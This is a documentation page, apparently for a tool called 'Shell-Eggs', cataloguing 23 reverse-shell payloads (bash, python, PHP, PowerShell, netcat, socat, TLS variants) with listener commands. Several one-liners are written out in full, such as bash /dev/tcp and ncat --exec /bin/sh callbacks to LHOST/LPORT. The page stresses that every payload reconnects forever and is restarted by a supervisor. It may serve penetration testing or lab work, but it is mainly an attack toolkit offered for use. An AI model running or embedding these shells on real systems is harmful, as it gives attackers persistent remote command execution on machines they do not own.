Shell-Eggs Docs · Reverse Shells

🎣 Reverse Shells

Interpreter and netcat-family callbacks: bash, python, PHP, perl, ruby, lua, node, powershell, go, java, groovy, awk, nc/socat and TLS flavors. Every payload reconnects forever.

Ports: Outbound only - no inbound port. Set SHELL_REVERSE_HOST/PORT.
Your listener: nc -lvnp 4444
or a fully interactive PTY listener: socat file:$(tty),raw,echo=0 TCP-L:4444

23 shells

ID	Name	Port	Connect / payload
`bash-tcp`	Bash /dev/tcp Reverse	4444	bash -i >& /dev/tcp/LHOST/LPORT 0>&1
`bash-udp`	Bash /dev/udp Reverse	4444	bash -i >& /dev/udp/LHOST/LPORT 0>&1
`python`	Python Reverse Shell	4444	socket + dup2 + subprocess, reconnect loop
`python-pty`	Python PTY Reverse	4444	pty.spawn + socket + reconnect loop (full TTY)
`php`	PHP fsockopen Reverse	4444	fsockopen + proc_open('/bin/bash -i')
`php-pentest`	PHP Pentestmonkey-style	4444	full pentestmonkey-style PHP reverse shell
`perl`	Perl Socket Reverse	4444	core Socket + exec /bin/sh -i
`ruby`	Ruby TCPSocket Reverse	4444	TCPSocket + system()
`lua`	Lua Socket Reverse	4444	io.popen loop over received lines
`node`	Node.js net.Reverse	4444	net.connect + child_process.spawn
`powershell`	PowerShell TCP Reverse	4444	System.Net.Sockets.TCPClient + Invoke-Expression
`golang`	Golang Reverse Shell	4444	net.Dial source, compiled at boot
`groovy`	Groovy Reverse Shell	4444	Socket + ProcessBuilder (Jenkins-console style)
`java`	Java Reverse Shell	4444	Socket + ProcessBuilder, compiled at boot
`awk`	Gawk Reverse Shell	4444	gawk /inet/tcp co-process
`nc`	Netcat Reverse	4444	FIFO relay - openbsd + traditional netcat
`nc-udp`	Netcat UDP Reverse	4444	UDP flavor - listener must speak first
`ncat`	Ncat Reverse	4444	ncat --exec /bin/sh LHOST LPORT
`socat`	Socat Reverse (pty)	4444	socat EXEC:...,pty,stderr,setsid,sigint,sane
`cryptcat`	Cryptcat Reverse	4444	netcat + twofish (-k shared-key)
`openssl-rs`	OpenSSL TLS Reverse	4444	openssl s_client -quiet -connect LHOST:LPORT
`socat-tls`	Socat TLS Reverse	4444	socat OPENSSL:... reverse, auto-generated client cert
`ncat-ssl`	Ncat SSL Reverse	4444	ncat --ssl --exec /bin/sh LHOST LPORT

Every payload reconnects forever (2-5s backoff) and is auto-restarted by the supervisor. Full details in SHELLs.md.